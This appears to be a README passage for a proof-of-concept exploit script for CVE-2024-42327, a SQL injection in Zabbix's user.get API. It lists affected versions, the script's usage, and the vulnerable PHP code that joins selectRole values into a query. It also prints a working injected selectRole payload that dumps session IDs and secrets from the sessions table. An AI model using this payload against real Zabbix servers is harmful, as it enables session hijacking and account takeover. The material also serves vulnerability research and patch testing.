- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0

python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]

Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The URL to Zabbix (please include the path - http://example.com/zabbix/)
  -U USERNAME, --username USERNAME
                        The username to authenticate with
  -P PASSWORD, --password PASSWORD
                        The password to authenticate with
  --query QUERY         An optional custom SQL query to run through the SQL Injection

python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password

$db_roles = DBselect(
				'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
				' FROM users u,role r'.
				' WHERE u.roleid=r.roleid'.
				' AND '.dbConditionInt('u.userid', $userIds)
			);

{
  "jsonrpc": "2.0",
  "auth": "AUTH_TOKEN_HERE",
  "id": 1,
  "method": "user.get",
  "params": {
    "output": [
      "userid",
      "username"
    ],
    "selectRole": [
      "type",
      "roleid",
      "name",
      "readonly"
    ]
  }
}

"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]

SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)